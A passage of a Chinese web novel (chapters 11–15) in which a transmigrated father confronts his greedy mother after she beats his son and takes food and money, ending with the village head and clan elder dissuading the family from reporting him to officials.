**握着手中的二十个大钱,心中多少有了些底气,搀扶着江河到里面的床上坐下,转身就要去请郎中。
“等等!”江河回过神来,一把将三儿子拽住,又从怀里掏出一把铜钱塞到他的手中,道:“请郎中归请郎中,该买的调料也不能少!”
病要看,东西也要吃。
那没有加半点儿调味料的饭菜,他是真的吃不下去啊。
一直以来,江河都是一个对生活质量有追求的人,爱干净,爱华服,尤其偏爱美食,每个月他的工资有一大半都用在了吃与喝上。
对于那些不合胃口、难以下咽的吃食,他宁愿饿着肚子,也绝不对付一口。
“爹,用不了这么多钱的……”
看着老爹竟然又掏出了二十枚左右的大钱,**的手有些抖,整个人都麻了。
老爹到底背着他们攒了多少钱?
这才一小会儿的工夫,就掏出来四十文钱了,这么多钱要是全都用来买粮食的话,都够他们一家十口吃上一个多月了。
江河不以为意的摆手道:“给你你就拿着,多的你且留在手里,看看家里还需要添些什么,自己做主买来就好!”
“这么大的人了,兜里没钱可不行。”
呃?
听到老爹这话,**的脑子瞬间就变得晕乎乎的,感觉像是在做梦一样。
说起来,他已经有多少年都没有从爹的手中拿
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到过一文钱了?
这些年来,自打他能下地干活能挣钱了之后,哪一次不是老爹朝他伸手要钱,给得少了爹还不干,非得把他身上的钱掏干挤净了才肯罢休。
一年到头,**这么一个大男人的身上,铜钱数量就从来都没有超过两文钱的。
有时候他想要给自己的两个女儿买点儿零嘴,都要站在商店门前犹豫半天,想想都让人觉得心酸。
“谢谢爹,爹你放心,这些钱我肯定省着点儿花!”
握着手里的四十文钱巨款,**的心里不由升起一片暖意,感动得不行,红着眼圈信誓旦旦的向老爹做着保证。
江河瞥眼的看着眼前这个感动得眼泪都快要流下来的三儿子,心头不由一阵无语。
这小子,也太容易满足了吧?
才四十大钱就被感动成了这样,这要是给他个一百文、两百文,他还不得直接把他这个老子给供起来**?
“行了,赶紧去吧,你再这样磨叽下去,爹头上的伤都快要长好了!”
“诶,爹你等着,我这就去给你请郎中去!”
**不好意思的挠了挠头,小心的把手里的四十枚铜钱揣进怀里,兴奋的小跑着就出了家门。
此时,赵穗与罗灵已经把桌子上的剩菜剩饭收到了外间的灶房里。
江源、江沫儿两个小家伙,带着他们的四个小侄、小侄女儿在院子里玩,不时传来清脆无忧的欢笑声。
堂屋里就只剩下江河一人躺在床上,思量着自己接下来该怎么做。
宣朝的户籍制度严苛如明朝那般,寻常百姓想要离开原籍到别的地方去谋生路,千难万难,一个不好就会被当成流民抓起来。
这也使得江河根本就无法撇开原身的身份与户籍,扔下家里的一众儿女独自逍遥快活。
为今之计,他只有利用原身的这个身份,好好的在这个时代活下去。
至于家里的这一大帮子孙,至少目前来看,还算是乖巧听话,是真的把他当成了亲爹,甚至活祖宗来对待。
对于江河来说,这些突然多出来的“家人”,因为原身残存记忆的关系,江河也并不觉陌生或是反感。
既然这样,那就且先养着吧。
反正他有签到系统在,以后肯定不会缺吃少喝,也不在乎家里多养几个闲人。
第11章 打死你个不孝孙
下河村,村东头。
贾郎中贾不为家。
**站在院门处敲门等候。
片刻,贾郎中的小儿子贾大发从屋里出来给他开门。
看到来人是**后,贾大发的眼中不自觉的浮现出一丝鄙夷之色:
“是你啊,江三郎。怎么,凑出给你爹诊病的钱了?”
**家之前发生了什么事情,整个村子里现在几乎都传遍了。
大混子江河受了伤没钱医治,老宅的江老头儿、江老太怕儿子粘上他们,直接请来了族长与里正,当着全村人的面彻底与江河断了亲。
这亲一断,江河一家在村子里更是孤苦无依,连个能为他们撑腰的人都没有了。
所以,贾大发现在看到**,眼中的鄙夷与不屑,连遮掩都不再遮掩了,就那样居高临下的直接显露了出来。
**低着头,没有跟他计较。
想要挤身进院里寻贾郎中,却见贾大发挡在门前,怎么也不肯让道。
没办法,**只得抬起头来,开口向贾大发说道:“大发哥,我是来寻贾大叔去给我爹瞧病的,还请你让一让。”
贾大发一撇嘴:“让可以啊,先拿五文钱的看诊钱。想请我爹上门出诊,可不是你口空白牙一句话就能行的。”
**一愣:“之前可没有这样的规矩,大家不都是在贾大叔看诊过拿完药再给钱么?”
“而且,这五文钱的看诊费,也太高了!”
真当他江三郎不懂行情么?
村里人请贾郎中上门看诊,若是不抓药的话,最多也就是两个大钱的看诊费。
若是还在贾郎中家里抓药的话,看诊费直接就免了的。
可是现在,这个贾大发竟然一张嘴就要他五个大钱,这不是平白欺负人么?
**手里纵使有钱,可也不想当这个冤大头。
“以前没有这个规矩,现在有了!”贾大发不耐烦道:“有钱了就掏钱,没钱了赶紧滚蛋,别待在我家门前碍眼!”
**气急,知道这是贾大发在故意刁难他。
本想要转身就走,可是一想到家里受伤等着医治的老爹,不由深吸了口气,道:“好,五文钱是吧,我给!”
说着,**伸手入怀,摸出了五个铜钱,肉疼不已的递向贾大发:“贾大发,现在可以让我进去寻贾郎中了吧?”
给了钱,**心中感觉憋屈,直呼贾大发的名字,连大发哥都不叫了。
“呦呵,竟真拿出来了?而且还是全新的大头钱!”
贾大发接过**递来的五枚黄铜钱,眼中不由闪过一丝意外与得意之色。
“行吧,既然你出了看诊费,那就直接进去吧!”
贾大发把钱收入怀中,侧身让开了道路,同时提醒**道:
“先说好了,我爹现在正在给别人看诊,进去后且先等着,别乱说话!”
“知道了!”**没好脸的轻应了一声,径直抬步进了院子。
贾大发虚掩上院门跟在后面,看着**进屋的背影,脸上露出了一丝鄙夷且玩味的笑意。
果然。
**刚一进屋,屋里就传来了一阵嚣张泼辣的叫骂声,以及巴掌落在脸上的清脆声。
“好你个不孝孙,竟然尾随我老婆子到贾郎中家里来了,看我不打死你!”
“我告诉你,断亲文书已经签定了,你休想从我这里要走一文钱!”
“你那个不孝爹,活着也是个祸害,最好能早点儿死!想要我出钱给他看病,门儿都没有……”
没错。
江老太此刻也在贾郎中这里瞧病。
晌午的时候,她先是**河“诈尸”给吓了一跳,后来又因为断亲的事情被气得不轻。
回到家后就觉得有些头晕胸闷,还以为自己是得了什么大病,直接就被吓了个半死,午饭没吃完就自己来到贾郎中这里瞧病来了。
**也没有想到,他过来的竟然这么赶巧,正好与他最不想见到的奶奶碰了面。
贾大发那个混蛋东西,收了他钱也不知道提醒他一句,根本就是想要看他的笑话,忒不是东西了。
他要是早知道正在贾郎中屋里瞧病的人是老宅的奶奶,说什么他也不会进屋。
现在可好,被奶奶误会是找她要钱来了,一个劲追着他来打。
“奶奶,你误会了,我不是来寻你的,我是来请贾郎中去给我爹治伤的,我不知道你也在啊!”
**捂着脸,一边跑,一边开口向江老太解释。
“真的,奶奶,我没想着要找你要钱,我就是来请贾郎中上门看诊的,不信你问贾大发,刚刚已经跟他说好了的,他还收了我五文钱看诊费!”
**把目光瞄向贾大发,可是贾大发却光顾着站在那里看戏,没有半点儿要为他解释的意思。
江老太见状,自然是更加的不相信**所言,一蹦三尺高,不断的在**的身上拍打着,一边打一边叫骂道:
“好你个不孝孙,竟然还想骗我!”
“你们家现在
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穷得丁当响,哪来的钱请郎中看病?!”
“还五文钱的看诊费,你咋不上天呢,咋不说五十文、一百文呢!我看你分明就是冲着我老婆子来的!”
“看我不打死你个不孝孙……”
这时,贾郎中似看出了自己儿子与**之间的端倪,忍不住瞪了自己儿子一眼。
都是生活在一个村子里的人,**是什么秉性贾郎中是知道的,断不可能会在这种事情上说谎。
也就是说,刚刚在院门口,他的这个小儿子多半是真的收了人家**五文钱的看诊费。
这个混蛋小子,纯心是想败了他老贾的名声啊!
五文钱的看诊金,他怎么能要得出口?
就不怕这件事情传扬了出去,村里人会戳他们老贾家的脊梁骨,不怕县医馆会派人来查办他这个驻村医吗?
贾大发被自己的老爹瞪得有些心虚,只得开口向正在追着**打的江老太喊道:
“三奶奶别打了,**确实是来找我爹上门看病的,他刚刚也确实给了我五文钱,不过不是看诊费,而是预付的药钱!”
“我可以替他证明,他之前根本就不知道三奶奶你在我家里。”
江老太本名王三妮,在下河村里,小辈们一般都称她为三奶奶。
贾不为县医馆派遣到下河村的驻村官医,已然在下河村驻扎了二十几年的时间,已经算是半个村里人。
贾大发因为从小在下河村长大,便也习惯的称江老太为三奶奶。
怕江老太不信,贾大发直接掏出了**刚刚给他的那五枚崭新的铜钱,高声道:
“三奶奶你看,这就是**兄弟刚刚给我的,他身上真的有钱,并非是刻意来堵三奶奶要钱的。”
什么?
**这小崽子竟然真的拿出钱来了?
看到贾大发掏出来的那一把新钱,江老太更是气不打一处来。
“好你个不孝孙,家里竟然还敢偷偷藏钱!你们这一家子果然都是养不熟的白眼狼,从来都没有跟老宅一条心过!”
“枉我们老两口之前对你们那么好,什么好吃的好喝的都想着你们,结果你们竟然这么对我们?”
“我不管,江河之前答应过给我们的养老钱,你们今天必须得拿出来,否则老婆子我跟你们没完!”
说着,江老太竟一把攥住**的衣领,拉着他出了贾家,直往村西头的江河家走去。
看她这凶巴巴的模样,哪里还有半点儿生病虚弱的样子?
第12章 掌掴江老太
刚进院门,江老太就看到江源、江沫儿等几个小家伙在院子玩跳格子,一蹦一跳的,还不时发出咯咯咯的欢笑声。
看到他们这么高兴,甚至每个小崽子的嘴巴上都油汪汪的粘着荤腥,隔着老远就能闻到肉香味儿,这让江老太的心里就更不舒服更不平衡了。
凭什么断了亲后,这些小崽子们非但没有饿肚子,反而还吃得上荤腥,一个个的跳得这般欢实?
江河那个不孝子肯定是背着他们偷偷藏钱了,之前的断亲也肯定是那个白眼狼在故意在演戏。
这一家子白眼狼,就是想要背着他们老宅自己吃香的喝辣的,自己过好日子。
真是太不孝顺了!
一想到江河一家不但有钱能请郎中看病,甚至还有钱能买肉吃,江老太就感觉自己受到了背叛,就心疼得厉害。
刚刚在拽**回来的路上,她就已经从**的身上将剩下的那三十五个铜钱给搜了出来,直接就揣到了自己的口袋里,没给**留下一文钱。
在她看来,这些钱和那些白眼狼吃进肚子里的肉,原本都应该是他们老宅的!
江河这个不孝子的东西,就是他们老两口的东西,凭什么现在全都被这些白眼狼、赔钱货们给糟蹋了?
“老娘就知道,江河这个不孝子不老实,家里面肯定还藏了不少的钱和肉,今天老娘全都要带回老宅去!”
江老太咬着牙在嘴里嘀咕着,全然忘了一个时辰前他们老宅才刚刚与江河一家断了亲。
或许在她的意识里,就算是断了亲,她是江河的老娘,江河也应该无条件的孝敬她。
就像是以前那样,什么好东西都先紧着他们老两口才行。
江源、江沫儿几个小辈,看到奶奶竟然揪着他们三哥的衣襟又来到他们家,一个个的全都吓得一个激灵。
谁也没敢上前打招呼,哗的一下全都往堂屋跑去,一边跑嘴里一边叫喊:
“爹,爹!不好了,奶又来了!”
“爷爷,爷爷,太奶又来了,还打我爹爹!”
“爷爷快来,我三叔又挨太奶的揍了!”
经过了上午的断亲事件,以及中午的那顿饱饭之后,几个小家伙都没有再像以前那样害怕江河了。
现在看到更吓人的奶奶与太奶,他们第一时间就把江河这个渣爹、渣爷爷当成了救星,本能的就想站在江河的身后。
江河正躺在屋内的床上想事情,听到外面的响动,不由微皱了皱眉头。
怎么个情况?
江老太竟然又找上门来了?
特么,不是都已经断亲了么,怎么还没完没了了?
在江源、江沫儿几个孩子跑到屋门口的时候,江河也闻声从床上坐起身来,抬步就往外走。
“你们几个先在屋里待着,老子出去看看!”
让几个小家伙先进屋,江河挺直身形走出屋外。
刚一出屋,他就看到江老太正从他们家的灶房里走出来,手里还端着他们中午吃剩下的那一大盘五花肉片,及十枚水煮蛋。
老太婆一边往自己嘴里塞肉片,一边骂骂咧咧道:
“一群不孝顺的白眼狼,果然在家里偷便吃肉,还有这么多鸡蛋,都不知道先孝顺自己的爹娘与爷奶,哼哼,全是一些没教养的混蛋东西……”
江河听了,面色瞬间黑成了锅底。
刚想上去给这老太婆一点儿教训,老三**突然窜到他的跟前,眼泪巴巴的委屈道:
“爹,我去给你请贾郎中的时候,正好碰到了奶奶也在贾郎中那,呜呜,奶奶不但把我身上的钱全都抢走了,还打了我,骂我是不孝孙……”
江河看着**左脸上已然有些红肿的巴掌印,胸中的火气更盛,忍不住一脚踹在了**的屁股蛋上,同时开口斥骂道:
“没出息的东西,遇到事就知道哭唧唧,跟个娘们儿一样!”
“都特么已经断亲了,你还叫这个老太婆奶奶?还打不还手骂不还口?你是不是傻?!”
“你要是老子的种,现在就上去自己给自己报仇出气,狠狠的扇那个老帮菜的臭脸!”
“啊?!”
听到江河这话,不止**呆在了当场,就连随后赶来的贾朗中与贾大发,也全都懵了。
要不要这么刺激?
江河这家伙是完全疯了吗,竟然教唆着自己的儿子去打自己的老娘?
是,江河这家伙确实挺不是东西。
之前在村子里不是偷鸡摸狗,就是夜踹寡妇门,是个远近闻名的无赖、混混。
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>可是有一点,那就是他一直都对自己爹娘极为孝顺,甚至都已经孝顺到了病态的地步。
不但打不还手,骂不还口,还每天准时准点儿的往老宅送吃的喝的,给江老头江老太磕头请安。
单论孝顺这一条,整个村子里都没有一个人能比得上江河,这一点儿整个下村的村民皆都有口皆碑。
村里的老人,尤其是老族长与里正,没事儿的时候就喜欢拿江河来当孝子的典范,教育自己膝下的子女一定要对自己的父母恭敬、孝顺。
可是现在,他们看到了什么?
江河这小子竟然要倒反天罡,竟然要指使着自己的三儿子,去扇江老太的脸。
更离谱的是,他还一口一个老太婆,一口一个老帮菜的叫骂着,眼中再无半点儿往日的孝道与敬重。
这……这特娘的还是江河吗?
别不是在磕到了脑袋之后,被磕傻了吧?
“啊什么啊?!没听到老子的话吗?”
“有外人敢来咱们家抢肉抢蛋又抢钱,你还在那愣着做什么,上去给老子狠狠的揍,把这老太婆的臭脸给老子扇烂!”
“一把年纪的不学好,学人家****,就算是直接打**,也是活该!”
见**一脸呆愣畏缩的样子,江河便气不打一处来,忍不住又踹了这小子一脚。
**捂着屁股,缩着脖子,畏畏缩缩道:“爹,可……可那毕竟是奶奶啊,我……我不敢……”
“废物点心,就知道指望不上你,给老子滚一边儿去!”
江河粗鲁的将**扒拉到一边,满脸凶戾的径直走向同样看傻了的江老太跟前。
“江河,你想干什么?”
江老太这时也有些急了,她毕竟不是傻子,江河刚刚对**说的话她可是听了个一清二楚,自然也看出江河这个混账东西,是真的想要打她啊。
她一边后退,一边色厉内荏的高声叫嚷道:
“我警告你,你可千万别犯浑啊,我再怎么都是你娘,你要是打了我,那就是以下犯上,是忤逆不孝,是要蹲大狱的!”
“我……”
啪~!
江老太的话还没有说完,一张蒲扇大小的巴掌就直接呼在了她的左脸上,那叫一个清脆响亮。
第13章 儿子打娘,倒反天罡
方才,在过来江河家的路上,江老太一边拖拽着**,一边高声叫骂着,早就已经引得了半个庄子村民的关注。
谁也没有想到,才刚刚与江河家断亲不到一个时辰的江老太,竟然又出幺蛾子,开始找江河一家的麻烦了。
果然是个难缠的疯婆子,尖酸刻薄,还无赖泼辣,寻常人根本就惹不起。
不过江河那狗东西也不是什么好人,他们这样算是狗咬狗,一嘴**。
就是可怜了**这个老实孩子,摊上这样的疯奶和渣爹,也不知是上辈子造了什么孽。
这个时间点儿,大家都才刚吃过午饭,正觉没什么意思呢,现在有好戏看了,他们当然不会错过。
是以,在江老太、**及贾郎中父子几人进入江家的破院子之后不久,先后又有数十位喜欢看热闹的村民围在了院门前。
江河家的左邻右舍,听到动静之后,也都走出了家门,有的甚至直接趴在两家相隔的院墙上看好戏。
当他们看到江老太径直闯进江河家的灶房之中,不顾着赵穗与罗灵二女的阻拦,硬抢了一大盘油汪汪的五花肉片及十好几个鸡蛋的画面之后。
院子周围尽是“咕咚”“咕咚”吞咽口水的声音。
他们谁也没有想到,江老太刚刚并不是在瞎嚷嚷,江河他们家的灶房里竟然真的有蛋又有肉!
不说那十余枚鸡蛋,光是那盘五花肉看上去就有两三斤的样子。
而且,这盘肉似乎还是江河他们一家中午吃剩下的。
啧啧啧!
光是吃剩下的水煮肉片就还有这么老多,那他们中午这一顿饭岂不是一共煮了五六斤肉?
想到这里,几乎所有看热闹的村民都眼热眼红不已,心都酸了。
这两年的光景不好,村里的家户不说都穷得揭不开锅那么夸张,可也仅仅是勉强能够果腹,不饿肚子罢了。
一年到头,各家各户都难得见到一次荤腥,甚至就连鸡蛋都舍不得煮上一个。
现在看到江河一家中午竟然吃得这么丰盛,肥肉片甚至都多得没有吃完,他们哪个不羡慕嫉妒,哪个不想像江老太那样,扑上**命的往自己嘴里塞肉片?
“这江河家吃得也太好了,老族长和里正家里都不敢吃得这么丰盛……”
“不是说他们家最后一点儿粮食都被老宅给抢走了,已经要揭不开锅了么,这哪来的钱买了这么多的肉和鸡蛋?”
“就是就是,依我看,肯定是江河这老小子又去偷鸡摸狗去了,不然他们家哪来的钱买肉?”
“胡说,江河昨天才磕了脑袋,差点儿没死过去,现在头上还包着破布条子呢。他受了那么重的伤,走路都费劲,到哪去偷鸡摸狗去?”
“照我说,肯定是他们家以前攒下的家底,你们可别忘了,江河他媳妇还活着的时候,可是能干着呢!”
“他们家还有个屁的家底儿,早就已经**河给祸祸完个逑了……”
“快看快看,江河从屋里出来了……”
正在小声议论着的围观村民,看到江河头顶着一圈染血的破布条子从屋里走出来,全都不自觉的闭上了嘴巴。
啪~!
当他们看到,江河在训斥完**之后,径直走到仿佛被吓傻了的江老太跟前,毫不犹豫的一巴掌掴在了江老太的左脸上,瞬时就把江老太的左脸给扇得又红又肿时。
轰~!
院子外瞬时就炸开了锅。
所有人都不敢相信的使劲揉了揉自己的眼睛。
他们刚刚看到了什么?
江河这个混不吝,竟然真的抬手打了他老娘一巴掌!
而且还打得这么狠,这么使劲儿,那响声几乎半个庄子都能听见有木有?
看看江老太都被打了一个屁股墩,直接跌坐在地上,半张脸都肿成了猴屁股了!
可即便是这样,江老太也没有舍得弄洒一直被她抱在怀里的鸡蛋和肉片。
不过这并不是重点。
重点是江河真的动手打了他的亲娘!
儿子打娘,倒反天罡,这是要翻了天了啊!
他们下河村已经有多少年都没有出过这样的忤逆子、不孝子了啊!
这要是有人报到官府里,江河这小子肯定是要下大狱、挨板子的啊!
“啊~!我不活啦!儿子打娘,没天理了啊!”
“大家快来看啊,江河这个不孝子打亲娘了啊!大家快来给我老婆子评评理,我不活了啊!”
过了好一会儿,被打懵了的江老太才反应过来,抬手捂着自
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己被打肿的脸,嗷的一嗓子就坐在地上哭嚎起来。
这次绝对是真哭,也是真的疼,疼得眼泪都流下来了。
自打结婚成家以来,江老太已经有好几十年都不曾挨过打了。
万没想到,今天她竟然会被自己的大儿子给当众扇了巴掌,疼是一方面,更多的是太丢人了。
这一刻,江老太对自己这个大儿子的不满及恨意直接达到了顶峰。
她已然在心里打定主意,一定要趁着这个机会,把这个白眼狼给送到大狱里去。
那样的话,江河家里所有的钱和东西,就全都是他们老宅的了!
江河似看出了她打的什么主意,冷声一笑,二话不说,弯下腰身,抬手朝着正在哭嚎的江老太的右脸上也来了一巴掌。
瞬时间,江老太的右脸也肿了起来,正好与左脸对称起来,看上去像是一只嘴里塞满了坚果的大号松鼠。
这一下,江老太痛得连哭都哭不出声来,更别说是撒泼叫骂了,就那样呆愣的坐在地上,泪眼叭叭的往下掉,像是被打傻了一般。
可即便是如此,她仍是没有舍得把怀里的东西丢掉,跟个护食的老母鸡一样,将那盘肉和鸡蛋牢牢的抱在胸前。
“老太婆!”
“娘!”
这时,人群外传来了江老头,还有江家老二江洋的呼喊声。
父子二人分开人群,跨过院门,急匆匆的来到江老太的跟前。
看到江老太被打得跟猴屁股一样的红肿的老脸,父子二人气得眼睛都直往外冒火。
他们咋都没有想到,江河竟然这么胆大包天,连自己的亲生娘都敢打,简直就是丧心病狂!
“江河,你个不孝子怎么敢的?这可是你老娘啊,你怎么能下得去手?!”江老头气得浑身直打颤,抬手指着江河一顿臭骂。
“江河,你想要反了天么,连娘都敢打,老子今天要是不好好的揍你一顿,就枉为人子!”
老二江洋为表孝心,同时也欺江河重伤未愈,必不是他的对手,二话不说就朝着江河冲撞过来,想要给江河一个教训。
只是他似乎有些高估了自己的战斗力了,人还没有冲到江河近前,就**河一脚踹了个狗啃泥,好悬没把两排门牙给磕掉。
第14章 报官?报什么官?
“老二,哎呦,我的儿啊,怎么摔得这么重哟,嘴里都流血了!”
看到自己最疼爱的二儿子受了伤,满嘴是血,可把江老头儿给心疼坏了,感觉要比打在他自己身上还要疼。
他松开江老太,快步走到江洋的跟前,将老二扶起来,看到江洋只是磕到了牙齿,并无大碍,这才放下心来。
可即便是如此,江老头胸中的怒火也是直冲发梢,只见他猛的回头看向还站在那里耀武扬威的江河,高声道:
“报官!必须得报官!老头子我今天定要将这个不孝子送进大狱里不可!”
“我老头子真是没脸见人了,竟然生出了这样一个连娘都敢打,心思歹毒至极的不孝子!”
“昨天怎么没有磕死你个忤逆的东西!就你这样的白眼狼还想重回老宅,做你的春秋大梦去吧!”
“老二媳妇儿,你还傻站在那里做什么,没看到你婆婆与男人都被人给揍成什么样了吗,还不快去县里报官?!”
看到老二媳妇儿王艳此刻也站在人群中,畏畏缩缩不敢进来,江老头更是气不打一处来,高嚎着嗓子指使着她去报官。
儿子打娘,倒反天罡,无论走到哪他们都有理!
今天说什么他都要把江河这个不孝的东西送进大狱,谁来了都不好使!
围观的村民一听江老汉竟然要报官抓自己的大儿子,先是神色一变,随即又觉得理所当然。
宣朝立国以来,自上而下,一直都提倡孝悌之事,甚至于在选拔官员时,都要事先考察应选之人是否有忤逆不孝之举。
现在江河这混逑竟然敢当众以下犯上,以子欺娘,简直就是大逆不道,更是违背了官家一直提倡的孝悌大义。
这要是经了官,不用想他们也知道,江河肯定是要蹲大狱的。
只是。
寻常人家,哪怕是闹得再凶,也极少会有老人状告自家儿子的。
不管怎么说,关起门来大家都是一家人,有什么事情私下里说开了就好了。
若是真的经了官,过了府,犯了错的儿子纵然是要受到惩戒,甚至被关进监牢,但是彼此之间的父子情谊、母子情谊,也就会因此而出现巨大的裂痕,以后就更别想指望着儿子孝顺了。
所以,在听到江老汉竟然让二儿媳妇儿去报官的时候,大家才会觉得有些意外与吃惊。
只是一想到江老汉家与江河家现在的关系,瞬间也就了然了。
江家老宅本来就不待见江河一家,更何况上午的时候他们才刚断产,自然就不必再在意什么父子、母子之间的情谊了。
“不要!”
**这时突然跳出来,一下跪倒在江老汉的跟前,一边磕头一边乞求道:
“爷,不要报官,不能报官啊,您这么一报官,我爹不有我们这一家子可就全毁了啊!”
“爷,您消消气,我替我爹给你和奶奶、二叔赔不是。我爹他是因为昨天磕到了头,脑子有些不清楚了,所以才会突然发疯,他不是有意要打奶奶和二叔的!”
“爷奶,我求你们了,看在我爹以前对你们还算孝顺的份上,饶过我爹这一回……”
这死孩子,怎么还给人跪上了?
真是不给他这个当爹的长脸啊。
江河无语的看着给江老汉磕头的三儿子,在嫌弃的同时,心底里竟然还莫名的升起了一丝感动。
不管怎么说,这小子也是为了他这个爹才下跪向江老汉求情的。
虽然江河并不需要,但是**的这份心意他却是不能不领。
只是,这小子以为下跪求情就有用么?
以为说几句软话,道个歉,老宅这帮人就会放过他们不再报官了吗?
太天真了!
江河没有出言阻止**,而是选择了冷眼旁观。
他就是想要用残酷的现实教**这小子看清楚,老宅这帮人的嘴脸,然后再对他们彻底死心。
省得以后他再看到这些人,还一口一个爷奶、二叔的叫着。
“滚开!”江老汉一脚将跪在他跟前的**踹倒,厉声言道:“现在知道求饶了,晚了!”
“你奶和你二叔挨打的时候咋不见你出来拦着?依我看,你也是这个不孝子的帮凶,你们一家子都是不孝的白眼狼,全都不得好死!”
“今天,无论是谁来,我都一定要把江河,还有你这个助纣为虐的不孝孙,全都送到大狱里去!”
听到亲爷爷说出这般冷血无情的话,**直接懵了,跌坐在地上不知该如何是好,只是一个劲儿的叭叭掉眼泪。
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这时,江老汉见王艳还站在那里没动,便怒声催促道:“老二家的,你还在那里傻愣着什么,还不快去报官?!”
“诶!”王艳这才反应过来,忙不迭的应了一声,高声道:“爹、娘,当家的,你们且在这里等着,我这就去报官去!”
说完,王艳便转身想要离去,结果还没有走两步,就被闻讯赶来的里正王治山给一把拽住。
“江洋家的,你要干啥去,先给我站那!”王治山一脸严肃的喝斥了王艳一句。
王艳止住身形,委屈的看着王冶山道:“治山叔,我要去报官,你没看到江河都把我婆婆和我家男人给打成什么样了,我要报官来抓他!”
王治山一瞪眼:“报官?报什么官?官府的人要是真来了,你想要让他们先抓谁?”
呃?
王艳直接就愣住了,里正莫不是老糊涂了,官府的人来还能抓谁,当然是抓打了自己亲娘的不孝子江河了啊,不然还能抓谁?
“冶山叔,你这是啥意思,俺咋有些听不明白呢?”王艳不解的开口向王冶山询问。
旁边的几个村民也是如此,不知道里正为何会这么说。
难道在里正看来,江河打了自己的亲娘,竟然还有理了不成?
一群无知的法盲啊!
看到王艳还有附近这些村民看向他的质疑眼神,王冶山不由感觉一阵心累。
“江洋家的,你们两家已经断了亲了啊,连断亲文书都签了,中午的时候,那份断亲文书我都已经让人送到县里登记入册了!”
“断了亲,你们可就是彻彻底底的两家人了,现在你们来江河家里**,被打、被骂了也是活该,就算是闹到官府里,你们也没理知道吗?”
王冶山苦口婆心的向王艳及在场的村民们解释。
真是的,上午才刚刚在这个院子里发生的事情,这些人竟然全都忘记了么?
还是说他们压根儿就没有将断亲文书当回事儿?
以为哪怕是断了亲,江老太也还是江河的亲娘,也还是可以像以前那样在江河家作威作福、肆意妄为?
想什么美事儿呢?
若真是那样的话,他们还签断亲文书做什么,那可是已经通了官、入了册的正经文书,岂是在开玩笑?
第15章 和稀泥
江河看见院门外,想要去报官的老二媳妇被里正给拦了下来,心中不禁多少有些失望。
看来,这下河村还是有明白人的。
知道两家已经彻底断了亲,老二媳妇真要是去报了官,官府要抓的人,可未必会是他江河。
院门外,王冶山将老二媳妇劝住之后,便带着她直接进了江河家的院子,想要以里正的身份来调解两家眼下的**。
做为村里的里正,王冶山治理村子的宗旨就是,有什么矛盾能在村里解决就在村里解决,非必要最好不要报官。
一是因为村里**多都沾亲带故,闹得太僵了容易伤了和气,不利于村子的团结发展。
二则是报了官,县里来了差役之后,免不了又是一番吃拿卡要,光是招待费就得大几百文,村里实在招待不起。
所以,一般情况下,只要不是闹出了人命之类的大事件,王冶山并不希望村民们绕过他到县里报官。
王冶山与王艳刚进院门不久,老族长王德顺也闻讯赶到了江河家门前。
三人前后脚进了院子。
看到躺在地上撒泼打滚的王三妮与江洋母子俩,王德顺忍不住又是一阵头疼,手中的拐杖在地面上敲得砰砰作响。
“江十二,王三妮,还有江洋小子,你们又在这里瞎搅和什么?!”
“上午你们不是才刚刚断过亲吗,怎么现在又来江河家里**,你们眼里还有没有族规,还有没有王法了?!”
呃?
江老汉与江老太,还有坐在地上捂着嘴的江洋,听到老族长的话全都一愣,随即便满面委屈的看向王德顺。
老族长,还有刚刚拦下去报官的老二媳妇儿的里正,明显是在偏向江河一家啊。
还有没有天理了,这次明明是他们老宅这边吃了大亏,是他们有理啊!
里正与老族长,凭什么不让报官,凭什么说他们是在无理取闹?
“老叔公,你怎么能这么说呢?”
“什么叫我们瞎搅和,这怎么能是我们在**儿呢?”
“你看看,你看看,江河都把他娘和兄弟给打成什么样了?”
江老汉抬手指着自己的老婆子与最疼爱的二儿子,满脸悲愤的向老族长哭诉告状道:
“这可是他亲娘和亲兄弟啊,他都能下得了这般狠手,这不是白眼狼是什么?”
“老叔公,你可是咱老王家最德高望众的老族长。还有治山老弟,你也是咱们下河村处事最公道的里正,你们说,族里面、村里面出了这样一个殴打亲娘的忤逆子,是不是该执行家法,是不是该去报官?”
“唔唔~!唔唔~!”
江老太这时也从地上爬起来,一手护着怀里的肉和蛋,一手抬起指着自己被打得红肿不堪的老脸,在王德顺与王冶山二人的眼前又蹦又跳。
只是她两边的脸已然完全肿了起来,疼得她连话都说不出来,只能唔唔唔的直叫唤。
不过,从她怒气冲冲的眼神中并不难看出,她明显也是想要把江河给送到大狱里面去。
跟江老汉一样,她也觉得自己是占理的一方。
哪怕是断了亲,她也还是江河的亲娘,无论如何江河对她动手就是大逆不道,就该蹲大狱!
“就是就是!”江洋这时也哧溜着嘴说道:“不管怎么说,江河他都不应该动手打娘!”
“族长公,治山叔,你们可不能在这件事情上犯糊涂,不能这么不分青红皂白的就偏向江河这个不孝子啊!”
王德顺与王冶山闻言,不由同时投给了江洋一个鄙夷的眼神。
真不知这个江老二是怎么生出两个小秀才公的,都到了现在了,他竟然都还没有看明白他们为何要拦着王艳不让报官。
我们特么是在偏向江河么,我们这是在救你们这些糊涂蛋啊!
一旦报了官,江河固然不会好过。
纵使已经断了亲,他这般直接出手殴打与他有血缘关系的亲娘,也是大逆不道,必然会受官府的惩戒。
可是相比之下,江老太上门强抢别人的财物和肉蛋,罪名明显更严重啊有木有?
一旦江河揪着这件事情不放,非要告江老太一个****的罪名,江老太根本就脱不了身!
若是江老太因此被判了刑,入了狱,那江贤、江达两个秀才公的名誉也必然会受到极大的影响。
到时候,他们两个别说是入朝为官了,还能不能参加以后的科举考试,都会是个大问题。
可以毫不客气的说,王德顺与王冶山现在,可是在挽救江贤、江达二人未来的**生命。
而江洋这个当爹的非但不感激他们,反而还责怪他们多管闲事,偏向江河,这特娘的不是个糊涂蛋又是什么?
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唉。
王德顺与王冶山彼此对视了一眼,同时在心中长叹了口气。
若不是盼着他们下河村能出两个状元郎,能帮衬着让村民们免去部分赋税,他们才懒得凑这个热闹,做这些吃力不讨好的事情呢。
“老十二,三妮子,还有江洋两口子,你们过来,老头子我有话对你们说!”
王德顺敲了敲手中的拐杖,与王冶山彼此交换了一下眼神之后,便开口将江老太几口唤到了一边。
小声的跟几人讲起了其中的利害关系,劝他们别再瞎折腾了,否则必是害人害己。
王德顺算是看出来了,若是不早点儿把这几个糊涂蛋给点醒,他们指不定还会闹出什么幺蛾子呢。
一旦事情闹大了,闹到了县衙里面,那可就不好收场了。
果然,一听老族长说若是报了官,老婆子就有可能会下大狱,甚至还会影响了江贤、江达二人的科举仕途。
江老头、江老太还有江洋两口子,瞬间就变得偃旗息鼓起来,再不敢提什么报官的事情。
